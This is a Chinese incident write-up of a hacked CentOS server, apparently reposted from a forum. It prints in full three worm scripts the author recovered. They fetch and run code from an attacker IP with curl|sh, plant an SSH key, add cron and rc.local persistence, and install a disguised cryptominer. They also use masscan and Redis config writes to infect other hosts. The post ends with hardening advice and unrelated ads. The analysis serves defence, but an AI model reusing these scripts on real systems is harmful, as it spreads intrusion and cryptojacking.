记一次Linux被入侵全过程

947cd005a8cf1baeed09b7325efc71e3.png

背景

64200b262bfc733cfde4b7d40023ad85.png

周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,SSH连了一下,被拒绝了,问了下默认的22端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名:root,还有不足8位的小白密码,心里一凉:被黑了!

查找线索

92f3f58b0ff8a29728fd763b98b3ee53.png

服务器系统CentOS 6.X,部署了Nginx,Tomcat,Redis等应用,上来先把数据库全备份到本地,然后top命令看了一下,有2个99%的同名进程还在运行,叫gpg-agentd。

576ac5a19add570d0a407b7ecf05cae5.png

Google了一下GPG,结果是:

GPG提供的gpg-agent提供了对SSH协议的支持,这个功能可以大大简化密钥的管理工作。

看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母d,伪装的很好,让人想起来Windows上各种看起来像svchost.exe的病毒。继续:

ps eho command -p 23374
netstat -pan | grep 23374

看pid:23374进程启动路径和网络状况,也就是来到了图1的目录,到此已经找到了黑客留下的二进制可执行文件。接下来还有2个问题在等着我:

文件是怎么上传的?

这个文件的目的是什么,或是黑客想干嘛?

history看一下,记录果然都被清掉了,没留下任何痕迹。继续命令more messages。

8d64474b3d8d48236be9359bd20eb301.png

看到了在半夜12点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意,下面详细讲。边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务。

crontab -e

0318c8ed27c23f58ceeeedb70d97c6ab.png

果然,线索找到了。

作案动机

c0895480f8a68066d227275dc7bfc426.png

上面的计划任务的意思就是每15分钟去服务器上下载一个脚本,并且执行这个脚本。我们把脚本下载下来看一下。

curl -fsSL 159.89.190.243/ash.php > ash.sh

脚本内容如下:

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa
 
AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
 redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

大致分析一下该脚本的主要用途:

首先是关闭SELinux,解除shell资源访问限制,然后在/root/.ssh/authorized_keys文件中生成SSH公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多,关于ssh keys的文章可以参考这一篇文章:https://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html。接下来安装bash,最后是继续下载第二个脚本bsh.php,并且执行。

继续下载并分析bsh.pbp,内容如下:

sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

这段脚本的代码比较长,但主要的功能有4个:

下载远程代码到本地,添加执行权限,chmod u+x。

修改rc.local,让本地代码开机自动执行。

下载GitHub上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的messages里看到的记录。

下载第三个脚本,并且执行。

我去GitHub上看了下这个开源代码,简直吊炸天。

MASSCAN: Mass IP port scanner

This is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.

It produces results similar to nmap, the most famous port scanner.

Internally, it uses asynchronous transmission, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.

NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.

transmitting 10 million packets per second(每秒发送1000万个数据包),比nmap速度还要快,这就不难理解为什么阿里云把服务器冻结了,大概看了下readme之后,我也没有细究,继续下载第三个脚本。

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。

一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过Redis的人,应该能猜到,这里是对Redis进行配置。写这个配置,自然也就是利用了Redis把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的/root/.ssh/authorized_keys。登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用masscan进行全网扫描Redis服务器,寻找肉鸡,注意看这6379就是Redis服务器的默认端口,如果你的Redis的监听端口是公网IP或是0.0.0.0,并且没有密码保护,不好意思,你就中招了。

总结

883375208d99cc3548e13dea411e6873.png

通过依次分析这3个脚本,就能看出这个病毒的可怕之处,先是通过写入ssh public key拿到登录权限,然后下载执行远程二进制文件,最后再通过Redis漏洞复制,迅速在全网传播,以指数级速度增长。那么问题是,这台服务器是怎么中招的呢?看了下redis.conf,bind的地址是127.0.0.1,没啥问题。由此可以推断,应该是root帐号被暴力破解了,为了验证我的想法,我lastb看了一下,果然有大量的记录:

a84896885a32c1be2552a2d5c01b843c.png

还剩最后一个问题,这个gpg-agentd程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。于是,顺手把这个gpg-agentd拖到ida中,用string搜索bitcoin,eth,mine等相关单词,最终发现了这个:

d1885a614741fdd1abf6fcd946e4f485.png

打开http://nicehash.com看一下,一切都清晰了。

37d4535290ceae29240d3194728ad31d.png

安全建议

af3372ad15205c9f70ab81f52bf185cf.png

服务器

  • 禁用ROOT

  • 用户名和密码尽量复杂

  • 修改SSH的默认22端口

  • 安装DenyHosts防暴力破解软件

  • 禁用密码登录,使用RSA公钥登录

Redis

  • 禁用公网IP监听,包括0.0.0.0

  • 使用密码限制访问Redis

  • 使用较低权限帐号运行Redis

到此,整个入侵过程基本分析完了,如果大家对样本有兴趣,也可以自行去curl,或是去虚拟机执行上面的脚本。鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。

文章来源:看雪论坛

K8s线下实战与CKA培训

77985b75108b0edb82ba7120109bca9f.png

本次培训在北京开班,基于最新考纲,通过线下授课、考题解读、模拟演练等方式,帮助学员快速掌握Kubernetes的理论知识和专业技能,并针对考试做特别强化训练,让学员能从容面对CKA认证考试,使学员既能掌握Kubernetes相关知识,又能通过CKA认证考试,学员可多次参加培训,直到通过认证。点击下方图片或者阅读原文链接查看详情。

3d2992f278c5b5f4c81da8354a228813.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这本书是James Kirkland做系统维护工作的结晶.本文档是英文版,很值得仔细研读。 本书详细介绍了Linux系统故障的诊断与排除技巧,是作者长期实践经验的结晶。全书共分15章:第1章介绍系统引导、启动和关闭问题,这是所有Linux用户都会碰到的基本问题;第2章介绍系统运行中可能出现的错误;第3章、第4章介绍性能与性能相关的工具;第5章至第7章介绍主要存储硬件及其故障诊断;第8章介绍Linux进程及其故障诊断;第9章讲解了系统备份与恢复中如何诊断常见问题的知识;第10章至第15章介绍了Linux系统其他方面的故障诊断与排除技巧,包括打印问题、安全问题、网络问题、登录问题等。   本书适用于Linux系统管理员及高级用户,对Linux系统感兴趣的用户也可将此书作为参考书。 第1章 系统引导、启动和关闭问题 1 1.1 引导加载程序 2 1.1.1 GRUB 2 1.1.2 LILO 10 1.1.3 当GRUB或者LILO不工作时进行引导 13 1.2 init进程和/etc/inittab文件 14 1.2.1 以多用户模式启动 17 1.2.2 init错误 19 1.3 rc脚本 20 1.3.1 确认模式 24 1.3.2 rc脚本中的启动问题 25 1.4 解决root文件系统的问题 27 1.4.1 从第二个硬盘引导 28 1.4.2 从援救CD引导 28 1.4.3 使用Knoppix CD重置丢失的root密码 30 1.4.4 使用Knoppix CD重新安装GRUB 30 1.4.5 从援救软盘引导 32 1.5 小结 32 1.6 附注 32 第2章 系统挂起和严重错误 33 2.1 操作系统挂起 34 2.1.1 诊断可中断挂起故障 34 2.1.2 诊断不可中断挂起故障 42 2.2 操作系统严重错误 44 2.2.1 诊断操作系统严重错误 44 2.2.2 诊断oops导致的严重错误 47 2.3 硬件机器检查 49 2.4 小结 50 第3章 性能工具 52 3.1 top 53 3.1.1 添加和移除字段 53 3.1.2 解释输出 55 3.1.3 保存自定义 56 3.1.4 批处理模式 57 3.2 sar 58 3.2.1 sar数据收集器 58 3.2.2 CPU统计数据 59 3.2.3 磁盘I/O统计数据 62 3.2.4 网络统计数据 63 3.3 vmstat 65 3.4 iostat 67 3.5 free 69 3.6 小结 69 3.7 尾注 69 第4章 性能 70 4.1 在可能的最低层开始故障诊断 70 4.1.1 使用raw命令将原始设备绑定到块设备 71 4.1.2 原始设备性能 72 4.1.3 使用dd命令确定连续I/O速度 73 4.1.4 使用sar和iostat测量磁盘性能 74 4.1.5 理解测试性能时I/O块大小的重要性 75 4.1.6 时间的重要性 76 4.1.7 确定块大小 77 4.1.8 队列的重要性 78 4.1.9 磁盘的多线程(进程)I/O 79 4.1.10 使用条带化lvol减少磁盘I/O紧张 80 4.1.11 条带化lvol与单磁盘性能的比较 82 4.1.12 多路径I/O 83 4.2 文件系统 86 4.2.1 将日志录到单独磁盘 86 4.2.2 确定文件系统请求的I/O大小 88 4.2.3 用小块I/O传输加载文件系统 88 4.2.4 利用文件系统的关键优势 91 4.2.5 Linux和Windows性能以及调整扇区对齐 92 4.2.6 使用bonnie++进行调整性能和基准测试 93 4.2.7 评估应用程序的CPU利用率问题 95 4.2.8 使用Oracle statspak 98 4.2.9 分配共享内存时“设备上无剩余空间”错误的故障诊断 101 4.2.10 其他性能工具 102 4.3 小结 103 第5章 针对PCMCIA和USB通过SAN添加新存储 104 5.1 配置 105 5.2 内核模块 106 5.3 通过PCI添加LUN 112 5.4 通过PCMCIA/USB添加存储 119 5.5 小结 122 第6章 磁盘分区与文件系统 123 6.1 背景 123 6.1.1 IDE和SCSI 124 6.1.2 位计算 124 6.2 分区表/主引导录:定位 126 6.3 分区表/主引导录:CHS寻址 127 6.3.1 定义主分区 128 6.3.2 确定能否创建附加分区 130 6.4 分区表/主引导录:逻辑分区/扩展分区 132 6.5 分区表/主引导录:逻辑块寻址(LBA) 135 6.6 分区表/主引导录:引导加载器 137 6.6.1 在使用过的驱动器上审查字节 139 6.6.2 BIOS初始化引导加载器 141 6.7 分区表/主引导录:备份 141 6.7.1 分区恢复过程 142 6.7.2 演示故障 143 6.7.3 挂载分区 144 6.7.4 在ext文件系统中恢复超级块和信息结点表 146 6.8 更多案例 150 6.9 小结 153 第7章 设备故障与置换 154 7.1 支持的设备 154 7.2 到哪里寻找错误 156 7.3 确定故障设备 158 7.4 故障设备的置换 165 7.5 小结 170 第8章 Linux进程:结构、挂起与核心转储 171 8.1 进程结构和生命周期 171 8.1.1 进程/任务概述 171 8.1.2 进程关系 172 8.1.3 Linux进程创建 172 8.1.4 Linux进程创建的示例 173 8.1.5 进程创建小结 174 8.1.6 Linux进程终止 174 8.2 Linux线程 174 8.3 确定进程挂起 180 8.4 进程核心 186 8.4.1 信号 187 8.4.2 限制 189 8.4.3 核心文件 191 8.5 小结 192 第9章 备份与恢复 194 9.1 备份介质 194 9.1.1 磁带 195 9.1.2 光盘存储 202 9.1.3 硬盘存储 202 9.2 备份范围 203 9.3 基本备份和恢复命令 204 9.3.1 tar 204 9.3.2 cpio 206 9.3.3 dump和恢复 208 9.3.4 dd 209 9.3.5 mkisofs 209 9.3.6 rsync命令 209 9.4 裸机恢复 210 9.5 确定磁带的内容 210 9.6 怎样辨别磁带的问题出自硬件还是软件 211 9.7 小结 213 第10章 cron与at 214 10.1 cron 215 10.1.1 cron守护程序 220 10.1.2 kcron 222 10.2 anacron 224 10.3 at 225 10.4 诊断cron 227 10.5 小结 233 第11章 打印与打印机 234 11.1 什么是假脱机程序 234 11.1.1 使用假脱机程序命令 235 11.1.2 假脱机程序“管道工程” 237 11.1.3 术语定义 240 11.2 打印机类型 242 11.3 连接类型 243 11.3.1 本地串行打印 244 11.3.2 本地USB打印 246 11.3.3 本地并行打印 249 11.3.4 远程打印 249 11.3.5 原始网络套接字打印 253 11.4 页面描述语言 255 11.5 通用打印诊断 256 11.5.1 映射假脱机环境 256 11.5.2 断点 257 11.6 小结 257 第12章 系统安全 258 12.1 什么是系统安全 258 12.1.1 主机安全与网络安全的比较 258 12.1.2 什么是安全漏洞 259 12.1.3 主机安全漏洞分类 259 12.1.4 安全漏洞和暴露类型 261 12.1.5 增强主机安全的一般步骤 262 12.2 预防 262 12.2.1 SSH加密 262 12.2.2 诊断典型SSH问题 266 12.2.3 连接和登录失败 266 12.2.4 使用netfilter/iptables强化系统 271 12.2.5 什么是NAT 273 12.2.6 MANGLE表 273 12.2.7 使用iptables进行配置 273 12.2.8 iptables命令示例 277 12.2.9 保存配置 277 12.2.10 终止、验证状态和启动iptables 278 12.2.11 问题诊断示例 279 12.2.12 打补丁 283 12.2.13 遭受入侵后的恢复 284 12.3 小结 284 第13章 网络问题 285 13.1 OSI和TCP/IP层简介 285 13.2 诊断网络层问题 286 13.2.1 TCP/IP物理网络访问层的诊断 286 13.2.2 诊断网络层问题(OSI第三层、TCP/IP第二层) 297 13.2.3 诊断传输层(TCP和UDP)问题 314 13.2.4 诊断应用程序级的问题:TCP/IP模型的最后一层 329 13.3 小结 329 第14章 登录问题 330 14.1 /etc/password,/etc/shadow和密码时效 331 14.1.1 /etc/password和/etc/shadow 331 14.1.2 chage、passwd和usermod 332 14.1.3 /etc/passwd和/etc/shadow损坏 337 14.1.4 pwck 337 14.2 Linux配置造成的登录失败 338 14.2.1 /etc/securetty 338 14.2.2 /etc/nologin 339 14.3 PAM 339 14.3.1 功能 340 14.3.2 优先级 340 14.3.3 模块名 341 14.3.4 参数 341 14.3.5 /etc/pam.d 341 14.3.6 /etc/pam.conf 342 14.3.7 /lib/security 342 14.3.8 Linux-PAM资源 343 14.3.9 诊断PAM故障 343 14.3.10 验证模块 345 14.3.11 PAM中的漏洞 346 14.4 shell问题 347 14.5 密码问题 348 14.6 小结 350 14.7 尾注 350 第15章 X Windows问题 351 15.1 X背景 351 15.2 X组件 352 15.2.1 X Server组件 352 15.2.2 X客户端组件 360 15.3 X显示管理器 361 15.4 X桌面管理器(环境) 362 15.5 X故障诊断案例 363 15.6 小结 365 15.7 尾注 366

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值